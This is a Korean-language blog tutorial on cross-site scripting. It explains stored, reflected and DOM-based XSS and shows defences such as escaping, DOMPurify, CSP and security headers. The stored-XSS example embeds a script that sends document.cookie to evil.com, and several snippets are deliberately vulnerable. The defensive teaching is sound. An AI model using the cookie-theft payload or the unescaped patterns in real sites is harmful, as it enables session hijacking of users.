XSS 완전정복 & 입력 검증으로 안전한 웹 만들기

Kylie·2025년 7월 21일

WEB

목록 보기
4/7

들어가기 전

웹사이트에서 검색창에 <script>alert('XSS')</script>를 입력했는데, 클릭 한 번에 경고창이 뜬다면 놀라지 않을 수 없죠? 이처럼 공격자가 악성 스크립트를 삽입해, 다른 사용자의 브라우저에서 임의 코드를 실행하게 만드는 공격이 바로 XSS(Cross-Site Scripting) 입니다. XSS는 개인정보 탈취, 세션 쿠키 탈취, 피싱 페이지 삽입 등 치명적 보안 사고를 일으킬 수 있습니다.

이번 장에서는 XSS의 원리와 유형별 사례, 그리고 이를 막기 위한 입력 검증, 인코딩·이스케이프, CSP(Content Security Policy) 적용 방법을 실제 코드 예제와 함께 자세히 살펴보겠습니다.


1. XSS 기초: 왜 위험할까?

XSS는 공격 코드가 사용자 웹 페이지에서 실행되도록 만드는 공격입니다. 크게 두 가지 문제가 발생합니다:

  1. 세션 쿠키 탈취

    • 공격 스크립트가 document.cookie를 통해 쿠키를 훔쳐, 외부 서버로 전송할 수 있습니다.
  2. 사용자 임의 조작

    • DOM 변경, 키 입력 로깅, 피싱 폼 삽입 등 다양한 악성 행동이 가능해집니다.

💡 비유: XSS는 웹 페이지에 몰래 열린 작은 뒷문처럼, 공격자가 원하는 코드를 마음대로 들여놓고 실행할 수 있는 구멍입니다.


2. XSS 유형별 사례

2-1. Stored XSS (영구 저장형)

  • 시나리오: 공격자가 게시판, 댓글, 프로필 입력란 등에 <script> 코드를 남겨두면, 다른 사용자가 그 페이지를 방문할 때마다 스크립트가 실행됩니다.

  • 예제:

    <!-- 게시판 글쓰기 폼 -->
    <form action="/post" method="post">
      <input name="title" />
      <textarea name="content"></textarea>
      <button>작성</button>
    </form>
    <!-- 서버가 오직 필터링 없이 저장 -->
    <!-- 나중에 조회 시 악성 스크립트 실행 -->
    <h1>제목</h1>
    <p><script>fetch('https://evil.com/log?cookie='+document.cookie)</script></p>

2-2. Reflected XSS (반사형)

  • 시나리오: URL 파라미터나 폼 입력이 즉시 페이지에 반영되며, 그 값에 스크립트가 포함되면 공격이 실행됩니다.

  • 예제:

    <!-- /search?q= 키워드를 그대로 출력 -->
    <h2>검색 결과: "<%= req.query.q %>"</h2>
    <!-- 공격자 링크 예시 -->
    a href="https://myshop.com/search?q=<script>alert(1)</script>" 링크 클릭 시 경고창 발생

2-3. DOM-based XSS (클라이언트 측)

  • 시나리오: 자바스크립트가 URL hash, innerHTML 등으로 DOM을 직접 조작할 때, 공격 코드를 삽입합니다.

  • 예제:

    <div id="output"></div>
    <script>
      // 해시 값을 직접 innerHTML로 삽입
      document.getElementById('output').innerHTML = location.hash.substring(1);
    </script>
    <!-- URL: https://site.com/#<script>alert('XSS')</script> -->

3. 방어 기법: 다양한 XSS 공격 차단하기

XSS 공격을 예방하려면 입력 단계부터 출력, 렌더링, 스크립트 실행 단계에 이르는 전 과정에서 방어해야 합니다. 아래 주요 기법들을 조합해 안전한 웹 페이지를 구축해 보세요.

3-1. 입력 검증(Validation)

  • 화이트리스트 검증: 사용자가 입력할 수 있는 문자와 길이, 형식을 제한합니다.

    // 예: 이름 입력은 영문·숫자만, 최대 30자
    if (!/^[a-zA-Z0-9]{1,30}$/.test(name)) throw new Error('Invalid name');
  • 블랙리스트은 보조용으로만 사용하고, 필수 입력 필드나 형식(이메일, URL 등)은 별도 정규식 검사하세요.

3-2. 출력 인코딩·이스케이프(Escaping)

  • HTML 인코딩: <, > 등 특수 문자를 &lt;, &gt; 처럼 변환합니다.

    function escapeHTML(str) {
      return str.replace(/&/g, '&amp;')
                .replace(/</g, '&lt;')
                .replace(/>/g, '&gt;')
                .replace(/"/g, '&quot;')
                .replace(/'/g, '&#39;');
    }
    element.innerHTML = escapeHTML(userInput);
  • Attribute, URL, JavaScript 컨텍스트별 인코딩도 고려해야 합니다.

3-3. 자동 이스케이프 기능 활용

  • React(JSX), Vue, Angular 등의 프레임워크는 기본적으로 텍스트 바인딩 시 이스케이프를 적용합니다.
  • 서버 템플릿 엔진(Handlebars, EJS 등)에서도 자동 인코딩 옵션을 활성화하세요.

3-4. HTML Sanitization

  • 사용자가 HTML을 직접 입력해야 할 경우, DOMPurify 같은 검증된 라이브러리를 사용해 위험한 태그나 속성을 제거합니다.

    const clean = DOMPurify.sanitize(userHtml);
    container.innerHTML = clean;

3-5. 보안 HTTP 헤더 설정

  • X-XSS-Protection: IE/Edge 내장 XSS 필터 활용

    X-XSS-Protection: 1; mode=block
  • X-Content-Type-Options: MIME 스니핑 방지

    X-Content-Type-Options: nosniff
  • Referrer-Policy, Permissions-Policy 등도 함께 설정해 보안 강화

3-6. Content Security Policy (CSP)

  • 엄격한 스크립트 소스 제어: 인라인 스크립트와 외부 도메인 로딩을 제한합니다.

    app.use((req, res, next) => {
      res.setHeader('Content-Security-Policy',
        "default-src 'self'; script-src 'self' 'nonce-abc123'; style-src 'self';"
      );
      next();
    });
  • Nonce/hash 기반 스크립트 허용: 인라인 스크립트 사용 시 nonce-... 를 스크립트 태그에 추가해, 오직 그 스크립트만 실행되게 합니다.

3-7. 서버 측 XSS 방어 추가 기법

서버 측에서도 XSS를 방어하기 위해 다음과 같은 방법을 적용할 수 있습니다.

3-7-1. 전역 출력 인코딩 적용

  • 템플릿 엔진에서 사용자가 입력한 모든 데이터를 자동으로 HTML 이스케이프 설정

    // 예: Express + EJS 설정
    app.set('view engine', 'ejs');
    // EJS는 <%= %> 구문에서 자동 HTML 이스케이프를 수행합니다.

3-7-2. 서버 측 Sanitization

  • 서버에서 들어오는 HTML 또는 사용자 입력을 DOMPurify(Node 버전) 등으로 정제

    const createDOMPurify = require('dompurify');
    const { JSDOM } = require('jsdom');
    const window = new JSDOM('').window;
    const DOMPurify = createDOMPurify(window);
    
    app.post('/submit', (req, res) => {
      const cleanHtml = DOMPurify.sanitize(req.body.userHtml);
      // cleanHtml을 저장 또는 렌더링
    });

3-7-3. HTTP 응답 시 자동 헤더 적용

  • 모든 응답에 보안 헤더를 일괄 설정해 XSS 취약점 노출을 줄임

    app.use((req, res, next) => {
      res.setHeader('X-XSS-Protection', '1; mode=block');
      res.setHeader('X-Content-Type-Options', 'nosniff');
      next();
    });

3-7-4. 라우터별 세부 방어 정책

  • 중요한 데이터가 노출되는 라우터(Path)에 대해 추가 검증 및 제한 적용

    app.get('/user/profile', (req, res) => {
      const safeBio = escapeHTML(req.user.bio);
      res.render('profile', { bio: safeBio });
    });

부록

A. 주요 XSS 방어 함수·태그 정리

기법코드/태그 예시설명
HTML Escape&lt;, &gt;, &amp;출력 시 특수문자 인코딩
textContentel.textContent = userInputDOM 삽입 시 자동 이스케이프
CSP HeaderContent-Security-Policy 헤더외부 스크립트 로드 제어

B. 테스트 및 디버깅 도구

  • 브라우저 개발자 도구: Console, Network 패널을 활용해 스크립트 로드/실행 여부 확인
  • Burp Suite, OWASP ZAP: 자동 스캔으로 XSS 취약점 탐지
  • Security Headers 웹 서비스: CSP, XSS Protection 헤더 설정 상태 검사
profile
올해보단 낫겠지....

0개의 댓글